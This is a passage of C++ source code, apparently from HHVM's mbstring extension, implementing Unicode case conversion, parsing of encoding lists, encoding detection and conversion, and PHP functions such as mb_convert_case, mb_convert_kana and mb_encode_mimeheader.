Do the binary search. */ while (l <= r) { /* * Determine a "mid" point and adjust to make sure the mid point is at * the beginning of a case mapping triple. */ m = (l + r) >> 1; m -= (m % 3); if (code > _uccase_map[m]) l = m + 3; else if (code < _uccase_map[m]) r = m - 3; else if (code == _uccase_map[m]) return _uccase_map[m + field]; } return code; } static unsigned long php_turkish_toupper(unsigned long code, long l, long r, int field) { if (code == 0x0069L) { return 0x0130L; } return case_lookup(code, l, r, field); } static unsigned long php_turkish_tolower(unsigned long code, long l, long r, int field) { if (code == 0x0049L) { return 0x0131L; } return case_lookup(code, l, r, field); } static unsigned long php_unicode_toupper(unsigned long code, enum mbfl_no_encoding enc) { int field; long l, r; if (php_unicode_is_upper(code)) return code; if (php_unicode_is_lower(code)) { /* * The character is lower case. */ field = 2; l = _uccase_len[0]; r = (l + _uccase_len[1]) - 3; if (enc == mbfl_no_encoding_8859_9) { return php_turkish_toupper(code, l, r, field); } } else { /* * The character is title case. */ field = 1; l = _uccase_len[0] + _uccase_len[1]; r = _uccase_size - 3; } return case_lookup(code, l, r, field); } static unsigned long php_unicode_tolower(unsigned long code, enum mbfl_no_encoding enc) { int field; long l, r; if (php_unicode_is_lower(code)) return code; if (php_unicode_is_upper(code)) { /* * The character is upper case. */ field = 1; l = 0; r = _uccase_len[0] - 3; if (enc == mbfl_no_encoding_8859_9) { return php_turkish_tolower(code, l, r, field); } } else { /* * The character is title case. */ field = 2; l = _uccase_len[0] + _uccase_len[1]; r = _uccase_size - 3; } return case_lookup(code, l, r, field); } static unsigned long php_unicode_totitle(unsigned long code, enum mbfl_no_encoding /*enc*/) { int field; long l, r; if (php_unicode_is_title(code)) return code; /* * The offset will always be the same for converting to title case. */ field = 2; if (php_unicode_is_upper(code)) { /* * The character is upper case. */ l = 0; r = _uccase_len[0] - 3; } else { /* * The character is lower case. */ l = _uccase_len[0]; r = (l + _uccase_len[1]) - 3; } return case_lookup(code, l, r, field); } #define BE_ARY_TO_UINT32(ptr) (\ ((unsigned char*)(ptr))[0]<<24 |\ ((unsigned char*)(ptr))[1]<<16 |\ ((unsigned char*)(ptr))[2]<< 8 |\ ((unsigned char*)(ptr))[3] ) #define UINT32_TO_BE_ARY(ptr,val) { \ unsigned int v = val; \ ((unsigned char*)(ptr))[0] = (v>>24) & 0xff,\ ((unsigned char*)(ptr))[1] = (v>>16) & 0xff,\ ((unsigned char*)(ptr))[2] = (v>> 8) & 0xff,\ ((unsigned char*)(ptr))[3] = (v ) & 0xff;\ } /** * Return 0 if input contains any illegal encoding, otherwise 1. * Even if any illegal encoding is detected the result may contain a list * of parsed encodings. */ static int php_mb_parse_encoding_list(const char* value, int value_length, mbfl_encoding*** return_list, int* return_size, int /*persistent*/) { int n, l, size, bauto, ret = 1; char *p, *p1, *p2, *endp, *tmpstr; mbfl_encoding *encoding; mbfl_no_encoding *src; mbfl_encoding **entry, **list; list = nullptr; if (value == nullptr || value_length <= 0) { if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } return 0; } else { mbfl_no_encoding *identify_list; int identify_list_size; identify_list = MBSTRG(default_detect_order_list); identify_list_size = MBSTRG(default_detect_order_list_size); /* copy the value string for work */ if (value[0]=='"' && value[value_length-1]=='"' && value_length>2) { tmpstr = req::strndup(value + 1, value_length - 2); } else { tmpstr = req::strndup(value, value_length); } value_length = tmpstr ? strlen(tmpstr) : 0; if (!value_length) { req::free(tmpstr); if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } return 0; } /* count the number of listed encoding names */ endp = tmpstr + value_length; n = 1; p1 = tmpstr; while ((p2 = (char*)string_memnstr(p1, ",", 1, endp)) != nullptr) { p1 = p2 + 1; n++; } size = n + identify_list_size; /* make list */ list = (mbfl_encoding **)req::calloc_noptrs(size, sizeof(mbfl_encoding*)); if (list != nullptr) { entry = list; n = 0; bauto = 0; p1 = tmpstr; do { p2 = p = (char*)string_memnstr(p1, ",", 1, endp); if (p == nullptr) { p = endp; } *p = '\0'; /* trim spaces */ while (p1 < p && (*p1 == ' ' || *p1 == '\t')) { p1++; } p--; while (p > p1 && (*p == ' ' || *p == '\t')) { *p = '\0'; p--; } /* convert to the encoding number and check encoding */ if (strcasecmp(p1, "auto") == 0) { if (!bauto) { bauto = 1; l = identify_list_size; src = identify_list; for (int i = 0; i < l; i++) { *entry++ = (mbfl_encoding*) mbfl_no2encoding(*src++); n++; } } } else { encoding = (mbfl_encoding*) mbfl_name2encoding(p1); if (encoding != nullptr) { *entry++ = encoding; n++; } else { ret = 0; } } p1 = p2 + 1; } while (n < size && p2 != nullptr); if (n > 0) { if (return_list) { *return_list = list; } else { req::free(list); } } else { req::free(list); if (return_list) { *return_list = nullptr; } ret = 0; } if (return_size) { *return_size = n; } } else { if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } ret = 0; } req::free(tmpstr); } return ret; } static char *php_mb_convert_encoding(const char *input, size_t length, const char *_to_encoding, const char *_from_encodings, unsigned int *output_len) { mbfl_string string, result, *ret; mbfl_encoding *from_encoding, *to_encoding; mbfl_buffer_converter *convd; int size; mbfl_encoding **list; char *output = nullptr; if (output_len) { *output_len = 0; } if (!input) { return nullptr; } /* new encoding */ if (_to_encoding && strlen(_to_encoding)) { to_encoding = (mbfl_encoding*) mbfl_name2encoding(_to_encoding); if (to_encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", _to_encoding); return nullptr; } } else { to_encoding = MBSTRG(current_internal_encoding); } /* initialize string */ mbfl_string_init(&string); mbfl_string_init(&result); from_encoding = MBSTRG(current_internal_encoding); string.no_encoding = from_encoding->no_encoding; string.no_language = MBSTRG(current_language); string.val = (unsigned char *)input; string.len = length; /* pre-conversion encoding */ if (_from_encodings) { list = nullptr; size = 0; php_mb_parse_encoding_list(_from_encodings, strlen(_from_encodings), &list, &size, 0); if (size == 1) { from_encoding = *list; string.no_encoding = from_encoding->no_encoding; } else if (size > 1) { /* auto detect */ from_encoding = (mbfl_encoding*) mbfl_identify_encoding2(&string, (const mbfl_encoding**) list, size, MBSTRG(strict_detection)); if (from_encoding != nullptr) { string.no_encoding = from_encoding->no_encoding; } else { raise_warning("Unable to detect character encoding"); from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; to_encoding = from_encoding; string.no_encoding = from_encoding->no_encoding; } } else { raise_warning("Illegal character encoding specified"); } if (list != nullptr) { req::free(list); } } /* initialize converter */ convd = mbfl_buffer_converter_new2(from_encoding, to_encoding, string.len); if (convd == nullptr) { raise_warning("Unable to create character encoding converter"); return nullptr; } mbfl_buffer_converter_illegal_mode (convd, MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (convd, MBSTRG(current_filter_illegal_substchar)); /* do it */ ret = mbfl_buffer_converter_feed_result(convd, &string, &result); if (ret) { if (output_len) { *output_len = ret->len; } output = (char *)ret->val; } MBSTRG(illegalchars) += mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); return output; } static char *php_unicode_convert_case(int case_mode, const char *srcstr, size_t srclen, unsigned int *ret_len, const char *src_encoding) { char *unicode, *newstr; unsigned int unicode_len; unsigned char *unicode_ptr; size_t i; enum mbfl_no_encoding _src_encoding = mbfl_name2no_encoding(src_encoding); unicode = php_mb_convert_encoding(srcstr, srclen, "UCS-4BE", src_encoding, &unicode_len); if (unicode == nullptr) return nullptr; unicode_ptr = (unsigned char *)unicode; switch(case_mode) { case PHP_UNICODE_CASE_UPPER: for (i = 0; i < unicode_len; i+=4) { UINT32_TO_BE_ARY(&unicode_ptr[i], php_unicode_toupper(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } break; case PHP_UNICODE_CASE_LOWER: for (i = 0; i < unicode_len; i+=4) { UINT32_TO_BE_ARY(&unicode_ptr[i], php_unicode_tolower(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } break; case PHP_UNICODE_CASE_TITLE: { int mode = 0; for (i = 0; i < unicode_len; i+=4) { int res = php_unicode_is_prop (BE_ARY_TO_UINT32(&unicode_ptr[i]), UC_MN|UC_ME|UC_CF|UC_LM|UC_SK|UC_LU|UC_LL|UC_LT|UC_PO|UC_OS, 0); if (mode) { if (res) { UINT32_TO_BE_ARY (&unicode_ptr[i], php_unicode_tolower(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } else { mode = 0; } } else { if (res) { mode = 1; UINT32_TO_BE_ARY (&unicode_ptr[i], php_unicode_totitle(BE_ARY_TO_UINT32(&unicode_ptr[i]), _src_encoding)); } } } } break; } newstr = php_mb_convert_encoding(unicode, unicode_len, src_encoding, "UCS-4BE", ret_len); free(unicode); return newstr; } /////////////////////////////////////////////////////////////////////////////// // helpers /** * Return 0 if input contains any illegal encoding, otherwise 1. * Even if any illegal encoding is detected the result may contain a list * of parsed encodings. */ static int php_mb_parse_encoding_array(const Array& array, mbfl_encoding*** return_list, int* return_size, int /*persistent*/) { int n, l, size, bauto,ret = 1; mbfl_encoding *encoding; mbfl_no_encoding *src; mbfl_encoding **list, **entry; list = nullptr; mbfl_no_encoding *identify_list = MBSTRG(default_detect_order_list); int identify_list_size = MBSTRG(default_detect_order_list_size); size = array.size() + identify_list_size; list = (mbfl_encoding **)req::calloc_noptrs(size, sizeof(mbfl_encoding*)); if (list != nullptr) { entry = list; bauto = 0; n = 0; for (ArrayIter iter(array); iter; ++iter) { auto const hash_entry = iter.second().toString(); if (strcasecmp(hash_entry.data(), "auto") == 0) { if (!bauto) { bauto = 1; l = identify_list_size; src = identify_list; for (int j = 0; j < l; j++) { *entry++ = (mbfl_encoding*) mbfl_no2encoding(*src++); n++; } } } else { encoding = (mbfl_encoding*) mbfl_name2encoding(hash_entry.data()); if (encoding != nullptr) { *entry++ = encoding; n++; } else { ret = 0; } } } if (n > 0) { if (return_list) { *return_list = list; } else { req::free(list); } } else { req::free(list); if (return_list) { *return_list = nullptr; } ret = 0; } if (return_size) { *return_size = n; } } else { if (return_list) { *return_list = nullptr; } if (return_size) { *return_size = 0; } ret = 0; } return ret; } static bool php_mb_parse_encoding(const Variant& encoding, mbfl_encoding ***return_list, int *return_size, bool persistent) { bool ret; if (encoding.isArray()) { ret = php_mb_parse_encoding_array(encoding.toArray(), return_list, return_size, persistent ? 1 : 0); } else { String enc = encoding.toString(); ret = php_mb_parse_encoding_list(enc.data(), enc.size(), return_list, return_size, persistent ? 1 : 0); } if (!ret) { if (return_list && *return_list) { free(*return_list); *return_list = nullptr; } return_size = 0; } return ret; } static int php_mb_nls_get_default_detect_order_list(mbfl_no_language lang, mbfl_no_encoding **plist, int* plist_size) { size_t i; *plist = (mbfl_no_encoding *) php_mb_default_identify_list_neut; *plist_size = sizeof(php_mb_default_identify_list_neut) / sizeof(php_mb_default_identify_list_neut[0]); for (i = 0; i < sizeof(php_mb_default_identify_list) / sizeof(php_mb_default_identify_list[0]); i++) { if (php_mb_default_identify_list[i].lang == lang) { *plist = php_mb_default_identify_list[i].list; *plist_size = php_mb_default_identify_list[i].list_size; return 1; } } return 0; } static size_t php_mb_mbchar_bytes_ex(const char *s, const mbfl_encoding *enc) { if (enc != nullptr) { if (enc->flag & MBFL_ENCTYPE_MBCS) { if (enc->mblen_table != nullptr) { if (s != nullptr) return enc->mblen_table[*(unsigned char *)s]; } } else if (enc->flag & (MBFL_ENCTYPE_WCS2BE | MBFL_ENCTYPE_WCS2LE)) { return 2; } else if (enc->flag & (MBFL_ENCTYPE_WCS4BE | MBFL_ENCTYPE_WCS4LE)) { return 4; } } return 1; } static int php_mb_stripos(int mode, const char *old_haystack, int old_haystack_len, const char *old_needle, int old_needle_len, long offset, const char *from_encoding) { int n; mbfl_string haystack, needle; n = -1; mbfl_string_init(&haystack); mbfl_string_init(&needle); haystack.no_language = MBSTRG(current_language); haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; needle.no_language = MBSTRG(current_language); needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; do { haystack.val = (unsigned char *)php_unicode_convert_case (PHP_UNICODE_CASE_UPPER, old_haystack, (size_t)old_haystack_len, &haystack.len, from_encoding); if (!haystack.val) { break; } if (haystack.len <= 0) { break; } needle.val = (unsigned char *)php_unicode_convert_case (PHP_UNICODE_CASE_UPPER, old_needle, (size_t)old_needle_len, &needle.len, from_encoding); if (!needle.val) { break; } if (needle.len <= 0) { break; } haystack.no_encoding = needle.no_encoding = mbfl_name2no_encoding(from_encoding); if (haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", from_encoding); break; } int haystack_char_len = mbfl_strlen(&haystack); if (mode) { if ((offset > 0 && offset > haystack_char_len) || (offset < 0 && -offset > haystack_char_len)) { raise_warning("Offset is greater than the length of haystack string"); break; } } else { if (offset < 0 || offset > haystack_char_len) { raise_warning("Offset not contained in string."); break; } } n = mbfl_strpos(&haystack, &needle, offset, mode); } while(0); if (haystack.val) { free(haystack.val); } if (needle.val) { free(needle.val); } return n; } /////////////////////////////////////////////////////////////////////////////// static String convertArg(const Variant& arg) { return arg.isNull() ? null_string : arg.toString(); } Array HHVM_FUNCTION(mb_list_encodings) { Array ret; int i = 0; const mbfl_encoding **encodings = mbfl_get_supported_encodings(); const mbfl_encoding *encoding; while ((encoding = encodings[i++]) != nullptr) { ret.append(String(encoding->name, CopyString)); } return ret; } Variant HHVM_FUNCTION(mb_encoding_aliases, const String& name) { const mbfl_encoding *encoding; int i = 0; encoding = mbfl_name2encoding(name.data()); if (!encoding) { raise_warning("mb_encoding_aliases(): Unknown encoding \"%s\"", name.data()); return false; } Array ret = Array::Create(); if (encoding->aliases != nullptr) { while ((*encoding->aliases)[i] != nullptr) { ret.append((*encoding->aliases)[i]); i++; } } return ret; } Variant HHVM_FUNCTION(mb_list_encodings_alias_names, const Variant& opt_name) { const String name = convertArg(opt_name); const mbfl_encoding **encodings; const mbfl_encoding *encoding; mbfl_no_encoding no_encoding; int i, j; Array ret; if (name.isNull()) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { Array row; if (encoding->aliases != nullptr) { j = 0; while ((*encoding->aliases)[j] != nullptr) { row.append(String((*encoding->aliases)[j], CopyString)); j++; } } ret.set(String(encoding->name, CopyString), row); } } else { no_encoding = mbfl_name2no_encoding(name.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", name.data()); return false; } char *encodingName = (char *)mbfl_no_encoding2name(no_encoding); if (encodingName != nullptr) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { if (strcmp(encoding->name, encodingName) != 0) continue; if (encoding->aliases != nullptr) { j = 0; while ((*encoding->aliases)[j] != nullptr) { ret.append(String((*encoding->aliases)[j], CopyString)); j++; } } break; } } else { return false; } } return ret; } Variant HHVM_FUNCTION(mb_list_mime_names, const Variant& opt_name) { const String name = convertArg(opt_name); const mbfl_encoding **encodings; const mbfl_encoding *encoding; mbfl_no_encoding no_encoding; int i; Array ret; if (name.isNull()) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { if (encoding->mime_name != nullptr) { ret.set(String(encoding->name, CopyString), String(encoding->mime_name, CopyString)); } else{ ret.set(String(encoding->name, CopyString), ""); } } } else { no_encoding = mbfl_name2no_encoding(name.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", name.data()); return false; } char *encodingName = (char *)mbfl_no_encoding2name(no_encoding); if (encodingName != nullptr) { i = 0; encodings = mbfl_get_supported_encodings(); while ((encoding = encodings[i++]) != nullptr) { if (strcmp(encoding->name, encodingName) != 0) continue; if (encoding->mime_name != nullptr) { return String(encoding->mime_name, CopyString); } break; } return empty_string_variant(); } else { return false; } } return ret; } bool HHVM_FUNCTION(mb_check_encoding, const Variant& opt_var, const Variant& opt_encoding) { const String var = convertArg(opt_var); const String encoding = convertArg(opt_encoding); mbfl_buffer_converter *convd; mbfl_no_encoding no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbfl_string string, result, *ret = nullptr; long illegalchars = 0; if (var.isNull()) { return MBSTRG(illegalchars) == 0; } if (!encoding.isNull()) { no_encoding = mbfl_name2no_encoding(encoding.data()); if (no_encoding == mbfl_no_encoding_invalid || no_encoding == mbfl_no_encoding_pass) { raise_warning("Invalid encoding \"%s\"", encoding.data()); return false; } } convd = mbfl_buffer_converter_new(no_encoding, no_encoding, 0); if (convd == nullptr) { raise_warning("Unable to create converter"); return false; } mbfl_buffer_converter_illegal_mode (convd, MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE); mbfl_buffer_converter_illegal_substchar (convd, 0); /* initialize string */ mbfl_string_init_set(&string, mbfl_no_language_neutral, no_encoding); mbfl_string_init(&result); string.val = (unsigned char *)var.data(); string.len = var.size(); ret = mbfl_buffer_converter_feed_result(convd, &string, &result); illegalchars = mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); if (ret != nullptr) { MBSTRG(illegalchars) += illegalchars; if (illegalchars == 0 && string.len == ret->len && memcmp((const char *)string.val, (const char *)ret->val, string.len) == 0) { mbfl_string_clear(&result); return true; } else { mbfl_string_clear(&result); return false; } } else { return false; } } Variant HHVM_FUNCTION(mb_convert_case, const String& str, int mode, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *enc = nullptr; if (encoding.empty()) { enc = MBSTRG(current_internal_encoding)->mime_name; } else { enc = encoding.data(); } unsigned int ret_len; char *newstr = php_unicode_convert_case(mode, str.data(), str.size(), &ret_len, enc); if (newstr) { return String(newstr, ret_len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_convert_encoding, const String& str, const String& to_encoding, const Variant& from_encoding /* = uninit_variant */) { String encoding = from_encoding.toString(); if (from_encoding.isArray()) { StringBuffer _from_encodings; Array encs = from_encoding.toArray(); for (ArrayIter iter(encs); iter; ++iter) { if (!_from_encodings.empty()) { _from_encodings.append(","); } _from_encodings.append(iter.second().toString()); } encoding = _from_encodings.detach(); } unsigned int size; char *ret = php_mb_convert_encoding(str.data(), str.size(), to_encoding.data(), (!encoding.empty() ? encoding.data() : nullptr), &size); if (ret != nullptr) { return String(ret, size, AttachString); } return false; } Variant HHVM_FUNCTION(mb_convert_kana, const String& str, const Variant& opt_option, const Variant& opt_encoding) { const String option = convertArg(opt_option); const String encoding = convertArg(opt_encoding); mbfl_string string, result, *ret; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); int opt = 0x900; if (!option.empty()) { const char *p = option.data(); int n = option.size(); int i = 0; opt = 0; while (i < n) { i++; switch (*p++) { case 'A': opt |= 0x1; break; case 'a': opt |= 0x10; break; case 'R': opt |= 0x2; break; case 'r': opt |= 0x20; break; case 'N': opt |= 0x4; break; case 'n': opt |= 0x40; break; case 'S': opt |= 0x8; break; case 's': opt |= 0x80; break; case 'K': opt |= 0x100; break; case 'k': opt |= 0x1000; break; case 'H': opt |= 0x200; break; case 'h': opt |= 0x2000; break; case 'V': opt |= 0x800; break; case 'C': opt |= 0x10000; break; case 'c': opt |= 0x20000; break; case 'M': opt |= 0x100000; break; case 'm': opt |= 0x200000; break; } } } /* encoding */ if (!encoding.empty()) { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } ret = mbfl_ja_jp_hantozen(&string, &result, opt); if (ret != nullptr) { if (ret->len > StringData::MaxSize) { raise_warning("String too long, max is %d", StringData::MaxSize); return false; } return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } static bool php_mbfl_encoding_detect(const Variant& var, mbfl_encoding_detector *identd, mbfl_string *string) { if (var.isArray() || var.is(KindOfObject)) { Array items = var.toArray(); for (ArrayIter iter(items); iter; ++iter) { if (php_mbfl_encoding_detect(iter.second(), identd, string)) { return true; } } } else if (var.isString()) { String svar = var.toString(); string->val = (unsigned char *)svar.data(); string->len = svar.size(); if (mbfl_encoding_detector_feed(identd, string)) { return true; } } return false; } static Variant php_mbfl_convert(const Variant& var, mbfl_buffer_converter *convd, mbfl_string *string, mbfl_string *result) { if (var.isArray()) { Array ret = empty_array(); Array items = var.toArray(); for (ArrayIter iter(items); iter; ++iter) { ret.set(iter.first(), php_mbfl_convert(iter.second(), convd, string, result)); } return ret; } if (var.is(KindOfObject)) { Object obj = var.toObject(); Array items = var.toArray(); for (ArrayIter iter(items); iter; ++iter) { obj->o_set(iter.first().toString(), php_mbfl_convert(iter.second(), convd, string, result)); } return var; // which still has obj } if (var.isString()) { String svar = var.toString(); string->val = (unsigned char *)svar.data(); string->len = svar.size(); mbfl_string *ret = mbfl_buffer_converter_feed_result(convd, string, result); return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return var; } Variant HHVM_FUNCTION(mb_convert_variables, const String& to_encoding, const Variant& from_encoding, Variant& vars, const Array& args /* = null_array */) { mbfl_string string, result; mbfl_encoding *_from_encoding, *_to_encoding; mbfl_encoding_detector *identd; mbfl_buffer_converter *convd; int elistsz; mbfl_encoding **elist; char *name; /* new encoding */ _to_encoding = (mbfl_encoding*) mbfl_name2encoding(to_encoding.data()); if (_to_encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", to_encoding.data()); return false; } /* initialize string */ mbfl_string_init(&string); mbfl_string_init(&result); _from_encoding = MBSTRG(current_internal_encoding); string.no_encoding = _from_encoding->no_encoding; string.no_language = MBSTRG(current_language); /* pre-conversion encoding */ elist = nullptr; elistsz = 0; php_mb_parse_encoding(from_encoding, &elist, &elistsz, false); if (elistsz <= 0) { _from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } else if (elistsz == 1) { _from_encoding = *elist; } else { /* auto detect */ _from_encoding = nullptr; identd = mbfl_encoding_detector_new2((const mbfl_encoding**) elist, elistsz, MBSTRG(strict_detection)); if (identd != nullptr) { for (int n = -1; n < args.size(); n++) { if (php_mbfl_encoding_detect(n < 0 ? vars : args[n], identd, &string)) { break; } } _from_encoding = (mbfl_encoding*) mbfl_encoding_detector_judge2(identd); mbfl_encoding_detector_delete(identd); } if (_from_encoding == nullptr) { raise_warning("Unable to detect encoding"); _from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } } if (elist != nullptr) { req::free(elist); } /* create converter */ convd = nullptr; if (_from_encoding != &mbfl_encoding_pass) { convd = mbfl_buffer_converter_new2(_from_encoding, _to_encoding, 0); if (convd == nullptr) { raise_warning("Unable to create converter"); return false; } mbfl_buffer_converter_illegal_mode (convd, MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (convd, MBSTRG(current_filter_illegal_substchar)); } /* convert */ if (convd != nullptr) { vars = php_mbfl_convert(vars, convd, &string, &result); for (int n = 0; n < args.size(); n++) { const_cast<Array&>(args).set(n, php_mbfl_convert(args[n], convd, &string, &result)); } MBSTRG(illegalchars) += mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); } if (_from_encoding != nullptr) { name = (char*) _from_encoding->name; if (name != nullptr) { return String(name, CopyString); } } return false; } Variant HHVM_FUNCTION(mb_decode_mimeheader, const String& str) { mbfl_string string, result, *ret; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); mbfl_string_init(&result); ret = mbfl_mime_header_decode(&string, &result, MBSTRG(current_internal_encoding)->no_encoding); if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } static Variant php_mb_numericentity_exec(const String& str, const Variant& convmap, const String& encoding, bool is_hex, int type) { int mapsize=0; mbfl_string string, result, *ret; mbfl_no_encoding no_encoding; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); if (type == 0 && is_hex) { type = 2; /* output in hex format */ } /* encoding */ if (!encoding.empty()) { no_encoding = mbfl_name2no_encoding(encoding.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } else { string.no_encoding = no_encoding; } } /* conversion map */ int *iconvmap = nullptr; if (convmap.isArray()) { Array convs = convmap.toArray(); mapsize = convs.size(); if (mapsize > 0) { iconvmap = (int*)req::malloc_noptrs(mapsize * sizeof(int)); int *mapelm = iconvmap; for (ArrayIter iter(convs); iter; ++iter) { *mapelm++ = iter.second().toInt32(); } } } if (iconvmap == nullptr) { return false; } mapsize /= 4; ret = mbfl_html_numeric_entity(&string, &result, iconvmap, mapsize, type); req::free(iconvmap); if (ret != nullptr) { if (ret->len > StringData::MaxSize) { raise_warning("String too long, max is %d", StringData::MaxSize); return false; } return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_decode_numericentity, const String& str, const Variant& convmap, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); return php_mb_numericentity_exec(str, convmap, encoding, false, 1); } Variant HHVM_FUNCTION(mb_detect_encoding, const String& str, const Variant& encoding_list /* = uninit_variant */, const Variant& strict /* = uninit_variant */) { mbfl_string string; mbfl_encoding *ret; mbfl_encoding **elist, **list; int size; /* make encoding list */ list = nullptr; size = 0; php_mb_parse_encoding(encoding_list, &list, &size, false); if (size > 0 && list != nullptr) { elist = list; } else { elist = MBSTRG(current_detect_order_list); size = MBSTRG(current_detect_order_list_size); } long nstrict = 0; if (!strict.isNull()) { nstrict = strict.toInt64(); } else { nstrict = MBSTRG(strict_detection); } mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.val = (unsigned char *)str.data(); string.len = str.size(); ret = (mbfl_encoding*) mbfl_identify_encoding2(&string, (const mbfl_encoding**) elist, size, nstrict); req::free(list); if (ret != nullptr) { return String(ret->name, CopyString); } return false; } Variant HHVM_FUNCTION(mb_detect_order, const Variant& encoding_list /* = uninit_variant */) { int n, size; mbfl_encoding **list, **entry; if (encoding_list.isNull()) { Array ret; entry = MBSTRG(current_detect_order_list); n = MBSTRG(current_detect_order_list_size); while (n > 0) { char *name = (char*) (*entry)->name; if (name) { ret.append(String(name, CopyString)); } entry++; n--; } return ret; } list = nullptr; size = 0; if (!php_mb_parse_encoding(encoding_list, &list, &size, false) || list == nullptr) { return false; } if (MBSTRG(current_detect_order_list)) { req::free(MBSTRG(current_detect_order_list)); } MBSTRG(current_detect_order_list) = list; MBSTRG(current_detect_order_list_size) = size; return true; } Variant HHVM_FUNCTION(mb_encode_mimeheader, const String& str, const Variant& opt_charset, const Variant& opt_transfer_encoding, const String& linefeed /* = "\r\n" */, int indent /* = 0 */) { const String charset = convertArg(opt_charset); const String transfer_encoding = convertArg(opt_transfer_encoding); mbfl_no_encoding charsetenc, transenc; mbfl_string string, result, *ret; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); charsetenc = mbfl_no_encoding_pass; transenc = mbfl_no_encoding_base64; if (!charset.empty()) { charsetenc = mbfl_name2no_encoding(charset.data()); if (charsetenc == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", charset.data()); return false; } } else { const mbfl_language *lang = mbfl_no2language(MBSTRG(current_language)); if (lang != nullptr) { charsetenc = lang->mail_charset; transenc = lang->mail_header_encoding; } } if (!transfer_encoding.empty()) { char ch = *transfer_encoding.data(); if (ch == 'B' || ch == 'b') { transenc = mbfl_no_encoding_base64; } else if (ch == 'Q' || ch == 'q') { transenc = mbfl_no_encoding_qprint; } } mbfl_string_init(&result); ret = mbfl_mime_header_encode(&string, &result, charsetenc, transenc, linefeed.data(), indent); if (ret != nullptr) { if (ret->len > StringData::MaxSize) { raise_warning("String too long, max is %d", StringData::MaxSize); return false; } return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_encode_numericentity, const String& str, const Variant& convmap, const Variant& opt_encoding /* = uninit_variant */, bool is_hex /* = false */) { const String encoding = convertArg(opt_encoding); return php_mb_numericentity_exec(str, convmap, encoding, is_hex, 0); } const StaticString s_internal_encoding("internal_encoding"), s_http_input("http_input"), s_http_output("http_output"), s_mail_charset("mail_charset"), s_mail_header_encoding("mail_header_encoding"), s_mail_body_encoding("mail_body_encoding"), s_illegal_chars("illegal_chars"), s_encoding_translation("encoding_translation"), s_On("On"), s_Off("Off"), s_language("language"), s_detect_order("detect_order"), s_substitute_character("substitute_character"), s_strict_detection("strict_detection"), s_none("none"), s_long("long"), s_entity("entity"); Variant HHVM_FUNCTION(mb_get_info, const Variant& opt_type) { const String type = convertArg(opt_type); const mbfl_language *lang = mbfl_no2language(MBSTRG(current_language)); mbfl_encoding **entry; int n; char *name; if (type.empty() || strcasecmp(type.data(), "all") == 0) { Array ret; if (MBSTRG(current_internal_encoding) != nullptr && (name = (char *) MBSTRG(current_internal_encoding)->name) != nullptr) { ret.set(s_internal_encoding, String(name, CopyString)); } if (MBSTRG(http_input_identify) != nullptr && (name = (char *)MBSTRG(http_input_identify)->name) != nullptr) { ret.set(s_http_input, String(name, CopyString)); } if (MBSTRG(current_http_output_encoding) != nullptr && (name = (char *)MBSTRG(current_http_output_encoding)->name) != nullptr) { ret.set(s_http_output, String(name, CopyString)); } if (lang != nullptr) { if ((name = (char *)mbfl_no_encoding2name (lang->mail_charset)) != nullptr) { ret.set(s_mail_charset, String(name, CopyString)); } if ((name = (char *)mbfl_no_encoding2name (lang->mail_header_encoding)) != nullptr) { ret.set(s_mail_header_encoding, String(name, CopyString)); } if ((name = (char 